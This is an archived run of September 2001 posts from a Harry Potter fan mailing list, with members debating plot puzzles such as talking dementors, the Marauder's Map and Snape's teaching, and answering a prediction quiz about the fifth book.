not realize that she is one and therefore acts like a fraud the rest 
of the time (I think I said this a little better the first time).  She 
therefore has the two correct predictions mentioned by Dumbledore, but 
the rest are not true, or at least they are only true by coincidence 
and not actual invoking of her seer abilities.

> 7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
> and does Wormtail still have his own wand?

I imagine this whole thing is merely an inconsistency and have never 
really explored it in depth as a result.

> 8.  Are you convinced that you cannot apparate on the Hogwarts 
> grounds, or is this a red herring?

I believe that, just as Hermione says, there are protections on the 
Hogwarts grounds to prevent apparition.  However, I believe that no 
defense is impenetrable.  Now realize, this may never become a plot 
point, but either way I maintain the statement's truth in a general 
sense: no defense is impenetrable.

> 9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
> Marauder's Map?

I believe we know too little about exactly how the map functions to 
effectively argue this.  It's possible the map shows everyone and is 
therefore so cluttered that it's easy to miss people.  It's possible 
the map only shows people that are relevant (or as someone recently 
put it, the people that the viewer wants to see).  And it's possible 
(my favorite explanation--kudos to whoever first came up with it) that 
MWPP designed the map to not display themselves unless another member 
of MWPP activated it, which is why only Lupin can see Peter, but later 
on Snape is still able to see Lupin (since Lupin never closed it, it 
was still subject to his activation).  As for why it doesn't show 
Harry and Hermione time-travelling . . . well, you try writing a 
time-travelling plot that doesn't have holes, really now.  Actually, 
again we know too little about how the map works to say for certain.  
For all we know, it simply can't handle identifying matter that is 
displaced in space-time.  It's a pretty amazing device, especially for 
something that was created by students, but it must have its 
limitations like anything.

We don't get explanations of these things, because there's no place to 
put them.  As a writer, sometimes you notice small holes and just let 
them slide because there's no appropriate place to interrupt and 
include an explanation of why they're not really holes.  But if these 
were errors that JKR failed to notice (as is quite possible), then it 
would be cute of JKR to take one of our explanations and include them 
in a reference to the Marauder's Map for an HP Encyclopedia, hopefully 
to be published after all the books are written (pretty please?).

> 10.  In what order and by whom are James, Lily and Harry attacked?

In the order of James, then Lily, then Harry as all the (corrected) 
evidence indicates and (because I have been given no reason to believe 
otherwise) by Lord Voldemort himself, though Pettigrew may have been 
present and is quite possibly the one who blew up the house unless 
Voldemort blew it up before attacking Harry for some unfathomable 
reason (evildoer's license).

-Luke




From mindyatime at juno.com  Thu Sep 20 02:15:06 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Wed, 19 Sep 2001 22:15:06 -0400
Subject: Dementors -- talking?
Message-ID: <20010919.221509.-225157.9.mindyatime@juno.com>

No: HPFGUIDX 26304

I am just reading my brand spankin' new copy of the POA in paperback and
I was struck by something in one of the earlier chapters -- it was
something to the effect that the Azkaban guards told the MOM officials
that Sirius Black was muttering in his sleep, "He's at Hogwarts, He's at
Hogwarts." I thought that the dementors can't talk!!! Can they? Or
perhaps only to the MOM?
________________________________________________________________
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From caliburncy at yahoo.com  Thu Sep 20 02:26:23 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Thu, 20 Sep 2001 02:26:23 -0000
Subject: Dementors -- talking?
In-Reply-To: <20010919.221509.-225157.9.mindyatime@juno.com>
Message-ID: <9obk4f+t7ct@eGroups.com>

No: HPFGUIDX 26305

--- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> I am just reading my brand spankin' new copy of the POA in paperback 
> and I was struck by something in one of the earlier chapters -- it 
> was something to the effect that the Azkaban guards told the MOM 
> officials that Sirius Black was muttering in his sleep, "He's at 
> Hogwarts, He's at Hogwarts." I thought that the dementors can't 
> talk!!! Can they? Or perhaps only to the MOM?

Yep, noticed that too when I first read the book and thought it was 
too bad: there's something so much more chilling about silent 
villains.  But I suppose it's almost as chilling that they can talk, 
but simply choose not to.  Anyway, I think we have to assume from this 
that they can, unless there are other Azkaban guards that are not 
Dementors--for which there is basically no evidence that I'm aware of.

-Luke




From mindyatime at juno.com  Thu Sep 20 03:40:46 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Wed, 19 Sep 2001 23:40:46 -0400
Subject: POA Chapter 7 Question
Message-ID: <20010919.234052.-225157.25.mindyatime@juno.com>

No: HPFGUIDX 26306

In POA Chapter 7 (The Boggart in the Wardrobe) is the first time that it
slips that there may be a time turner:

~~~

Hermione was panting slightly, hurrying up the stairs, one hand clutched
her bag, the other seemed to be tucking something down the front of her
robes.

"How did you do that?" said Ron.

"What?" said Hermione, joining them.

"One minute you were right behind us, the next moment, you were back at
the bottom of the stairs again."

"What?" Hermioned looked slightly confused. "Oh -- I had to go back for
something. Oh no -- "

~~~

So can someone try to help me figure out where she was when? She was
walking up the stairs with them, and when did she turn her timer an hour
back and slither away to take her 'other lesson'? She then reappeared at
the top of the stairs, slightly off-schedule? Was that why she was
confused, b/c she didn't remember where she was precisely an hour ago?


________________________________________________________________
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From deeblite at home.com  Thu Sep 20 05:04:08 2001
From: deeblite at home.com (Deeblite)
Date: Thu, 20 Sep 2001 01:04:08 -0400
Subject: [HPforGrownups] Re: Dementors -- talking?
In-Reply-To: <9obk4f+t7ct@eGroups.com>
References: <9obk4f+t7ct@eGroups.com>
Message-ID: <20010920050402.MRQZ7350.femail17.sdc1.sfba.home.com@there>

No: HPFGUIDX 26307

On Wednesday 19 September 2001 22:26, you wrote:
> --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > I am just reading my brand spankin' new copy of the POA in paperback
> > and I was struck by something in one of the earlier chapters -- it
> > was something to the effect that the Azkaban guards told the MOM
> > officials that Sirius Black was muttering in his sleep, "He's at
> > Hogwarts, He's at Hogwarts." I thought that the dementors can't
> > talk!!! Can they? Or perhaps only to the MOM?
>
> Yep, noticed that too when I first read the book and thought it was
> too bad: there's something so much more chilling about silent
> villains.  But I suppose it's almost as chilling that they can talk,
> but simply choose not to.  Anyway, I think we have to assume from this
> that they can, unless there are other Azkaban guards that are not
> Dementors--for which there is basically no evidence that I'm aware of.
>

It's possible the dementors "told" the MoM through some other means of 
communication (not talking).
-- 
Deeblite
spoony []
Variant(s): or spoon?ey []/'sp?-nE/
Function: adjective
Inflected Form(s): spoon?i?er; -est
Etymology: English slang spoon simpleton
Date: circa 1812
1 : SILLY, FOOLISH; especially : unduly sentimental
2 : being sentimentally in love




From deeblite at home.com  Thu Sep 20 05:32:14 2001
From: deeblite at home.com (Deeblite)
Date: Thu, 20 Sep 2001 01:32:14 -0400
Subject: The president has been kidnapped by Ninjas!
Message-ID: <20010920053208.GTZD17309.femail10.sdc1.sfba.home.com@there>

No: HPFGUIDX 26308

Are you a bad enough dude to rescue the president? 
-- 
Deeblite
spoony []
Variant(s): or spoon?ey []/'sp?-nE/
Function: adjective
Inflected Form(s): spoon?i?er; -est
Etymology: English slang spoon simpleton
Date: circa 1812
1 : SILLY, FOOLISH; especially : unduly sentimental
2 : being sentimentally in love




From catlady at wicca.net  Thu Sep 20 06:00:11 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Thu, 20 Sep 2001 06:00:11 -0000
Subject: Back on Topic Re: Fw: OT  A Military Historian Speaks 
In-Reply-To: <006b01c14114$d79804a0$a473f2d1@LDS>
Message-ID: <9oc0lb+vrh0@eGroups.com>

No: HPFGUIDX 26309

--- In HPforGrownups at y..., "Lisa-Ann Cooner" <kira at k...> wrote:
> Dr. Tony Kern, Lt Col, USAF (Ret) wrote:
>  
> This war will be  won or lost by the American citizens, not 
> diplomats, politicians or soldiers.
> They plan to fight a battle of attrition, hoping to drag the battle
> out until the  American public loses its will to fight.
> If we  are to win, it will be because we have what it takes to 
> persevere through a  few more hits, learn from our mistakes, 
> improvise, and adapt. If we can do that, we will eventually prevail. 

What does he think counts as 'winning' for them? I know what counts
as winning for Lord Voldemort (see, I drag it back on topic), which
is to conquer the whole Earth so there is no hiding place for his 
enemies, killing all the people he has grudges against and quite a 
few others just for fun, and then destroying the whole planet 
including his followers and himself. I suppose that, in theory, 
Voldemort COULD accomplish that (because immortality gives him 
unlimited time) if all wizarding folk (except a few imcompetent 
altho' romantic losers) gave up fighting against him. I am not 
confident that even an unopposed Voldemort could figure out the 
MEANS to destroy the whole planet before the Sun goes Nova and beats 
him to it. Thus, even if the human species loses (being all killed 
off except a few kept as miserable slaves and even fewer kept as 
sycophants), still Voldemort would not have won.






From catlady at wicca.net  Thu Sep 20 06:14:29 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Thu, 20 Sep 2001 06:14:29 -0000
Subject: The Potters Fame
In-Reply-To: <9oaad1+i3su@eGroups.com>
Message-ID: <9oc1g5+scvh@eGroups.com>

No: HPFGUIDX 26310

--- In HPforGrownups at y..., "Bean Shadow" <neptune_1984 at y...> wrote:
> I apologize if this has been discussed before.

I don't think it ever was discussed before.
> 
> Were the Potters famous before the demise of Voldemort? Or are they 
> famous simply because they were killed by Voldemort, except for 
> Harry?

I don't recall JKR ever saying if the Potters were famous while 
alive. I imagine that they were known to many friends and associates 
because the Potters were (I think) an old wizarding family and James 
and Lily had been Head Boy and Head Girl (I think at the same time), 
but the only Fame they had was whatever fame James had kept from 
being a star Quidditch player at school (assuming that he WAS a star 
player -- in PoA, Lupin said: "[Snape] especially disliked James.
Jealous, I think, of James's talent on the Quidditch pitch... " and 
why would Severus be so jealous if James's talent was nothing 
special?)




From borg3892000 at yahoo.com  Thu Sep 20 12:35:47 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Thu, 20 Sep 2001 12:35:47 -0000
Subject: Ancient/Old Magic - Why is Harry protected?
In-Reply-To: <9o54sl+3ibo@eGroups.com>
Message-ID: <9ocnr3+71re@eGroups.com>

No: HPFGUIDX 26311

--- In HPforGrownups at y..., dkgrubb at e... wrote:
> 
> I apologize if this dead horse has been beaten already, but it 
seems to 
> me  that Mrs. Figg might be the secretkeeper who keeps Harry safe 
at 
> the Dursleys by means of a Fidelius charm. She volunteers to 
babysit 
> when the Dursleys go out, because Harry would not be protected 
outside 
> the Dursleys actual house, so she has to watch him personally.
> 

Oooh, I never thought of that! (and I wish I had)

That is a really neat idea.




From mindyatime at juno.com  Thu Sep 20 12:24:07 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Thu, 20 Sep 2001 08:24:07 -0400
Subject: How did Snape Get away with it?
Message-ID: <20010920.084129.-225157.29.mindyatime@juno.com>

No: HPFGUIDX 26312

I honestly do not understand how Snape got away with the unfair way he
treated his students, year after year. He is unbelievably mean and biased
and no teacher in this world is permitted to make nasty comments to h is
students the way he did. I was especially taken aback when he warned
Professor Lupin about having Neville Longbottom in his class (what was he
doing in the staffroom during classtime anyway?) I don't get why not one
of the students or teachers ever complained to Proff. Dumbledore or
McGonagall about the way he treats Gryffindors. A blatant show of
favoritism in any school is in my opinion worthy of reproach or even
dismissal. Hogwarts is not an unfair school and Snape is being allowed
year after y ear to continue his loathing and mistreatment of Harry and
Company. Don't the Heads notice this? After four years, they still have
not called for a conference to gently chide Snape to at least hide his
emotions? The way Snape acts is so totally unprofessional and
unteacher-like that it is almost ludicrous for this to happen in a
regular school where the Heads take charge of a school.
________________________________________________________________
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From pennylin at swbell.net  Thu Sep 20 12:42:10 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 20 Sep 2001 07:42:10 -0500
Subject: ADMIN: OT Posts
Message-ID: <3BA9E422.7020203@swbell.net>

No: HPFGUIDX 26313

Hi everyone --

The tragic events of last week have affected us all, and it has been a
comfort to have such a wonderful resource as this list to explore our
feelings and show our support for others.  The moderators would like to
thank everyone for demonstrating such sensitivity and tolerance during 
this period.

Although people have naturally drifted back to discussing Harry Potter, 
we would like to confirm that OT topics should now be discussed on the 
OT Chatter list and not here on the main list.  Here's a link to the 
OT-Chatter List in case you haven't joined up yet:

http://groups.yahoo.com/group/HPFGU-OTChatter

Thank you for your cooperation.

Magically yours ---

The Moderator Team




From borg3892000 at yahoo.com  Thu Sep 20 12:42:35 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Thu, 20 Sep 2001 12:42:35 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <9o5gcv+q0h9@eGroups.com>
Message-ID: <9oco7r+gf4a@eGroups.com>

No: HPFGUIDX 26314

--- In HPforGrownups at y..., blpurdom at y... wrote:
> --- In HPforGrownups at y..., mellienel2 at y... wrote: 
> > Kill a person, you have their whole being, 
> > and that comes out of the wand.
>  
> This of course raises an interesting question: what comes out of a 
> wand in relation to various spells when Priori Incantatem is 
> performed?  We saw a miniature Dark Mark appear from Harry's wand 
> after Crouch used it to fire the Dark Mark into the air; we saw the 
> shades of the people Voldemort murdered with his wand.  What would 
> appear if the spell were Cruciatus?  Imperius?  A simple 
Alohomora?  
> Any thoughts?
> 

We already saw what happens when the spell was Cruciatus.  Echos of 
screams. 




From borg3892000 at yahoo.com  Thu Sep 20 13:19:37 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Thu, 20 Sep 2001 13:19:37 -0000
Subject: Pettigrew's Wait; Hagrid; Anniversary; Thanks from a Grateful Nation
In-Reply-To: <OE1372TUSzbAUfKRfcj0001d784@hotmail.com>
Message-ID: <9ocqd9+mj10@eGroups.com>

No: HPFGUIDX 26315

--- In HPforGrownups at y..., "Angela Burgess" <MmeBurgess at m...> wrote:
> Hi all!  I don't have much to add, but here's my two knuts on some 
of the recent posts!   
> 
> 2) mellienel2 at y... says on an unrelated topic:
> <<Also -- Hagrid was at school with Voldy for five years, then was 
gameskeeper for his remaining two years. He could know a lot about 
him. >>
> 
> I could be wrong, but I'm pretty sure that Hagrid was at school for 
only 3 years.  He was expelled as a Third Year student for setting 
the basilisk loose.  There has been much debate as to whether or not 
he then immediately returned as gamekeeper.   

Yes, Hagrid was expelled in his third year.  But we do not know if he 
had been held back.  He *could* have been there 5 years.  Didn't 
Hermione mention in SS that you have to pass the tests to advance to 
the next year?




From blpurdom at yahoo.com  Thu Sep 20 14:34:15 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Thu, 20 Sep 2001 14:34:15 -0000
Subject: Dementors -- talking?
In-Reply-To: <9obk4f+t7ct@eGroups.com>
Message-ID: <9ocup7+q2bm@eGroups.com>

No: HPFGUIDX 26316

--- In HPforGrownups at y..., caliburncy at y... wrote:
> --- In HPforGrownups at y..., "Mindy C.L." <mindyatime at j...> wrote:
> > I am just reading my brand spankin' new copy of the POA in 
> > paperback and I was struck by something in one of the earlier 
> > chapters -- it was something to the effect that the Azkaban 
> > guards told the MOM officials that Sirius Black was muttering in 
> > his sleep, "He's at Hogwarts, He's at Hogwarts." I thought that 
> > the dementors can't talk!!! Can they? Or perhaps only to the MOM?
> 
> Yep, noticed that too when I first read the book and thought it was 
> too bad: there's something so much more chilling about silent 
> villains.  But I suppose it's almost as chilling that they can 
> talk, but simply choose not to.  Anyway, I think we have to assume 
> from this that they can, unless there are other Azkaban guards that 
> are not Dementors--for which there is basically no evidence that 
> I'm aware of.

It doesn't have to be verbal communication.  Someone at the Ministry 
may be able to communicate telepathically with the dementors, or the 
dementors may have sent a written communication via owl to the MoM.  
I'm not ruling out talking, but there's more ways to communicate than 
verbally.  If there were non-dementors for guards they would also 
have to be non-human (perhaps some breed of troll) in order to be 
immune from the dementors.

--Barb





From deeblite at home.com  Thu Sep 20 14:45:22 2001
From: deeblite at home.com (Deeblite)
Date: Thu, 20 Sep 2001 10:45:22 -0400
Subject: [HPforGrownups] The president has been kidnapped by Ninjas!
In-Reply-To: <20010920053208.GTZD17309.femail10.sdc1.sfba.home.com@there>
References: <20010920053208.GTZD17309.femail10.sdc1.sfba.home.com@there>
Message-ID: <20010920144515.IIKS15554.femail16.sdc1.sfba.home.com@there>

No: HPFGUIDX 26317

On Thursday 20 September 2001 01:32, you wrote:
> Are you a b

Guh... sorry about that.  Last time i let someone else use my computer.

-- 
Deeblite
spoony []
Variant(s): or spoon?ey []/'sp?-nE/
Function: adjective
Inflected Form(s): spoon?i?er; -est
Etymology: English slang spoon simpleton
Date: circa 1812
1 : SILLY, FOOLISH; especially : unduly sentimental
2 : being sentimentally in love




From justanopinion2001 at hotmail.com  Thu Sep 20 14:59:10 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Thu, 20 Sep 2001 14:59:10 -0000
Subject: OoF Prediction Derby (LONG)
Message-ID: <9od07u+m95e@eGroups.com>

No: HPFGUIDX 26318

I have seen lots of juicy predictions about OoF in the group, and 
while we wait for OoF, I thought it would be fun to see who can make 
the most accurate predictions.  So I thought up a few questions about 
OoF that are based on the Lexicon and VFAQ.    

Anyone who takes the time to predict will be entered in the derby.  
The prize:  "the sort of glory Hufflepuff House hasn't had in 
centuries."  One point awarded for each correct prediction; one point 
subtracted for each incorrect prediction, so accuracy counts (you 
don't have to answer them all).  For fun, feel free to explain your 
predictions.  If anyone is interested, I can print out the responses, 
hang onto them until OoF comes out, and post the scores.

1.  What new magical place will we visit?
2.  Are any of the Dursleys wizards?  Who?
3.  Identify the next DADA teacher.
4.  Which "beloved" character(s) will die?  Any other deaths, and if 
so, who?  
5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
Bagman, Madam Maxime, which characters will have speaking lines in 
OoF?
6.  At the end of OoF, will Dumbledore be the headmaster?
7.  At the end of OoF, will Fudge be the Minister of Magic?
8.  At the end of OoF, will Neville be the same forgetful boy, or 
will he have changed in some way?
9.  At the end of OoF, will Sirius have cleared his name?
10.  Will Harry and Voldemort have a confrontation?
11.  Of the following magical things, which will a character use or 
confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
bus.
12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
Gryffindor Keeper?  Gryffindor Captain?
13.  Will anyone else turn out to be an animagus?  Who?
14.  Who is Mundungus Fletcher?
15.  Will Wormtail use his silver hand in an important way?

Laura (who can't believe she has to wait another 10 months for OoF)




From mlpmama at yahoo.com  Thu Sep 20 15:12:50 2001
From: mlpmama at yahoo.com (mlpmama at yahoo.com)
Date: Thu, 20 Sep 2001 15:12:50 -0000
Subject: "Small Packages" now at ff.net
Message-ID: <9od11i+lr4k@eGroups.com>

No: HPFGUIDX 26319

The sequel to "When All is Said and Done" is now at ff.net.  It's 
called "Small Packages."

http://www.fanfiction.net/index.fic?action=story-read&storyid=409463

As with WAiSaD, pairings are Ginny/Draco, Harry/Hermione and Ron/Glin.

Let me know what you think!

~TGP




From coriolan at worldnet.att.net  Thu Sep 20 15:45:16 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Thu, 20 Sep 2001 15:45:16 -0000
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <9od2uc+2gmj@eGroups.com>

No: HPFGUIDX 26320

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:

> 
> 1.  What new magical place will we visit?

Azkaban, the Giant's domain

> 2.  Are any of the Dursleys wizards?  Who?

No

> 3.  Identify the next DADA teacher.

As usual, a new character. 

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?  

Lupin, Moody and Dobby.
> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have speaking lines in 
> OoF?

Lupin, Sirius, Winky, Dobby, Winky, Madame Maxime

> 6.  At the end of OoF, will Dumbledore be the headmaster?

Yes

> 7.  At the end of OoF, will Fudge be the Minister of Magic?

Yes

> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
> will he have changed in some way?

He may still melt a cauldron or two, but we will see his continued 
growth

> 9.  At the end of OoF, will Sirius have cleared his name?

Tough one! I'll say yes, because I think JKR will find it better to 
have Sirius on the front lines rather than hiding out in exile.

> 10.  Will Harry and Voldemort have a confrontation?

Of course!

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.
boggart, portkeys, floo powder, sneakoscope, foe glass, 


> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
> Gryffindor Keeper?  Gryffindor Captain?

Yes - Harry will be captain. Keeper will be a new student.

> 13.  Will anyone else turn out to be an animagus?  Who?

I'm sure Dumbledore is a animagi, but this won't be revealed in Book 
Five. 

> 14.  Who is Mundungus Fletcher?

"one of the old crowd" - probably a contemporary of Black & Lupin

> 15.  Will Wormtail use his silver hand in an important way?

Yes - can't say how, but otherwise JKR would have had Voldy give 
Wormtail a regular flesh-and-blood hand
> 
> Laura (who can't believe she has to wait another 10 months for OoF)




From cynthiaanncoe at home.com  Thu Sep 20 16:25:59 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 20 Sep 2001 16:25:59 -0000
Subject: OoF Prediction Derby (LONG)
In-Reply-To: <9od07u+m95e@eGroups.com>
Message-ID: <9od5an+jjft@eGroups.com>

No: HPFGUIDX 26321

Laura wrote:> 

> 1.  What new magical place will we visit?

St. Mungos Center for Magical Maladies.

> 2.  Are any of the Dursleys wizards?  Who?

Nope.

> 3.  Identify the next DADA teacher.

I think JKR said it would be a woman, so I'll play the odds and say 
Arabella Figg.

> 4.  Which "beloved" character(s) will die?  Any other deaths, and 
if 
> so, who?  

Hagrid is the beloved character who dies.  Karkarov and Bagman will 
also die.

> 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
> Bagman, Madam Maxime, which characters will have speaking lines in 
> OoF?

Lupin, Sirius, Moody, Bagman

> 6.  At the end of OoF, will Dumbledore be the headmaster?

No.  Dumbledore will be sacked for telling the students V returned 
and for having Arthur Weasley spread the word at MoM.  He was 
suspended for far less in CoS.

> 7.  At the end of OoF, will Fudge be the Minister of Magic?

Yes.  (He'd better watch his back, though, because Lucius Malfoy is a 
threat).

> 8.  At the end of OoF, will Neville be the same forgetful boy, or 
> will he have changed in some way?

I'll skip this one.

> 9.  At the end of OoF, will Sirius have cleared his name?

No, not yet.

> 10.  Will Harry and Voldemort have a confrontation?

Going out on a limb here and saying No.

> 11.  Of the following magical things, which will a character use or 
> confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
> willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
> powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
> bus.

Marauder's Map, nifflers, portkeys, sneakoscope, foe glass, secrecy 
sensor.

> 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
> Gryffindor Keeper?  Gryffindor Captain?

Yes.  Keeper will be Ginny Weasley (she must learn a thing or two 
about Quiddich having all of those brothers).  Captain will be Katie 
Bell (Maybe JKR has been stung by the criticism that women don't have 
enough to do in HP).

> 13.  Will anyone else turn out to be an animagus?  Who?

Nope.

> 14.  Who is Mundungus Fletcher?

OK.  I'm going WAY out on a limb here.  I think Mundungus Fletcher 
has something to do with St. Mungos and is a doctor there or 
something.  Madam Hooch can't be the only medical professional in the 
wizard world.

> 15.  Will Wormtail use his silver hand in an important way?

Not yet.
> 
Cindy 




From JamiDeise at aol.com  Thu Sep 20 16:33:04 2001
From: JamiDeise at aol.com (JamiDeise at aol.com)
Date: Thu, 20 Sep 2001 12:33:04 EDT
Subject: [HPforGrownups] OoF Prediction Derby (LONG)
Message-ID: <143.1e51afd.28db7440@aol.com>

No: HPFGUIDX 26322

In a message dated 9/20/2001 11:08:03 AM Eastern Daylight Time, 
justanopinion2001 at hotmail.com writes:

<< 1.  What new magical place will we visit?>>  Azkaban

 2.  Are any of the Dursleys wizards?  Who?>> no.

 3.  Identify the next DADA teacher.<< someone we haven't heard of before, 
but she will become Hermione's new idol.

 4.  Which "beloved" character(s) will die?  Any other deaths, and if 
 so, who? << Lupin. 
 
 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
 Bagman, Madam Maxime, which characters will have speaking lines in 
 OoF?<<  Lupin, Sirius, Dobby, Moody and Bagman.

 6.  At the end of OoF, will Dumbledore be the headmaster?<< yes.

 7.  At the end of OoF, will Fudge be the Minister of Magic?<< yes, but we 
will be highly suspicious that he is a DE 

 8.  At the end of OoF, will Neville be the same forgetful boy, or 
 will he have changed in some way?>> No. Someone'll find out that he has a 
memory charm hiding powerful secrets. Maybe something to do with Snape. The 
memory charm will be broken, Neville will come into his own power as a 
wizard, and the information Neville has will be very important in the battle 
against the Dark Side.

 9.  At the end of OoF, will Sirius have cleared his name?>> No.

 10.  Will Harry and Voldemort have a confrontation?>> of course!

 11.  Of the following magical things, which will a character use or 
 confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
 willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
 powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
 bus.>> nifflers, portkeys, sneakoscope, foe glass.

12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
 Gryffindor Keeper?  Gryffindor Captain?>> Yes. The twins will be 
co-captains, and Ron will be the new Keeper.

 13.  Will anyone else turn out to be an animagus?  Who?>> no, but Hermione 
might take it on herself to learn how to become one.

 14.  Who is Mundungus Fletcher?>> a good guy, but the one who put the memory 
charm on Neville to protect him.

 15.  Will Wormtail use his silver hand in an important way?>> yep. He's 
going to use it to kill Lupin in his werewolf state. 

Jami 



From devika261 at aol.com  Thu Sep 20 16:37:58 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Thu, 20 Sep 2001 12:37:58 EDT
Subject: [HPforGrownups] OoF Prediction Derby (LONG)
Message-ID: <c.1b64cd61.28db7567@aol.com>

No: HPFGUIDX 26323

1.  What new magical place will we visit?
St. Mungo's Hospital, Azkaban

 2.  Are any of the Dursleys wizards?  Who?
JKR said to keep an eye on Dudley.  Maybe that's why?

 3.  Identify the next DADA teacher.
Mrs. Figg (or someone who was thought to be Mrs. Figg--I have a whole elaborate theory, but I won't put it here since I have nothing to back it up with <g>.)

 4.  Which "beloved" character(s) will die?  Any other deaths, and if 
 so, who?
*sniff sniff* Dobby, and if I really want to have the book drenched in tears, Remus Lupin or Mrs. Weasley
  
 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
 Bagman, Madam Maxime, which characters will have speaking lines in 
 OoF?
Lupin, Sirius, Krum, Fleur, Winky, Dobby, Moody

 6.  At the end of OoF, will Dumbledore be the headmaster?
I'm not so sure about that one, but I'm leaning toward yes.

 7.  At the end of OoF, will Fudge be the Minister of Magic?
Same as 6

 8.  At the end of OoF, will Neville be the same forgetful boy, or 
 will he have changed in some way?
Unless he takes some potion or is under some spell to drastically improve his memory, he'll still be pretty forgetful.  However, I think we'll see some changes in him.

 9.  At the end of OoF, will Sirius have cleared his name?
I certainly hope so.  I want to see him being important in his own right, not just because he's Harry's godfather.

 10.  Will Harry and Voldemort have a confrontation?
I'm going to say no.

 11.  Of the following magical things, which will a character use or 
 confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
 willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
 powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
 bus.
I'm a big fan of the pensieve.  I also think the Marauder's Map will be important since Harry doesn't have it at the end of GoF.  And as much as I think it's overused, I think we will see polyjuice potion again.  Floo powder seems to be an everyday part of wizarding life, so we'll probably see that, but it won't be that significant.

 12.  Will there be Quiddich at Hogwarts?  If so, who will be the 
 Gryffindor Keeper?  Gryffindor Captain?
Keeper--either Ron or some new student
Captain--either Angelina or Fred and/or George

 13.  Will anyone else turn out to be an animagus?  Who?
I can't think of anyone in particular, but someone else could be.

 14.  Who is Mundungus Fletcher?
He's a member of the "old crowd," probably about a generation older than Sirius and Remus.

 15.  Will Wormtail use his silver hand in an important way?
I don't know why JKR would have given it to him otherwise, although I can't for the life of me figure out what he'll do with it.


Devika :)



From tillrules at aol.com  Thu Sep 20 16:40:05 2001
From: tillrules at aol.com (tillrules at aol.com)
Date: Thu, 20 Sep 2001 12:40:05 EDT
Subject: [HPforGrownups] Re: OoF Prediction Derby (LONG)
Message-ID: <fc.c78f800.28db75e5@aol.com>

No: HPFGUIDX 26324

In a message dated 9/20/2001 9:32:18 AM Pacific Daylight Time, 
cynthiaanncoe at home.com writes:

<< > 1.  What new magical place will we visit?
 
MInistry of Magic
 
 > 2.  Are any of the Dursleys wizards?  Who?
 
 Nope.
 
 > 3.  Identify the next DADA teacher.
 
 Arabella Figg or Fleur DeLacourt (she shays she wants to come to Hogwarts to 
teach and improve her English)
 
 > 4.  Which "beloved" character(s) will die?  Any other deaths, and 
 if 
 > so, who?  
 
 I'm not sure anyone dies in OoF, but if someone does, I'd bet on Hagrid

 > 5.  Of Lupin, Sirius, Krum, Fleur, Lockhart, Winky, Dobby, Moody, 
 > Bagman, Madam Maxime, which characters will have speaking lines in 
 > OoF?
 
 Lupin, Sirius, Maxime, Fleur, Dobby, Bagman
 
 > 6.  At the end of OoF, will Dumbledore be the headmaster?
 
 Yes

 > 7.  At the end of OoF, will Fudge be the Minister of Magic?
 
 Yes.  Unless JKR pulls a surprise to make thigns worse for Harry and makes 
Lucius Malfoy MoM, by the end of the series it'll be Arthur Weasley though.
 
 > 8.  At the end of OoF, will Neville be the same forgetful boy, or 
 > will he have changed in some way?
 
 Still a bit of a twit.  He'll be heroic by the end of the books, but he'll 
still be a goof i this one.
 
 > 9.  At the end of OoF, will Sirius have cleared his name?
 
 No, not until the end of book six or beginning of book 7, she needs the 
device of having Harry with the Dursley's until then.
 
 > 10.  Will Harry and Voldemort have a confrontation?
 
Not directly.
 
 > 11.  Of the following magical things, which will a character use or 
 > confront:  pensieve, veritaserum, boggart, Marauder's Map, whomping 
 > willow, polyjuice potion, nifflers, portkeys, rememberall, floo 
 > powder, time turner, sneakoscope, foe glass, secrecy sensor, knight 
 > bus.
 
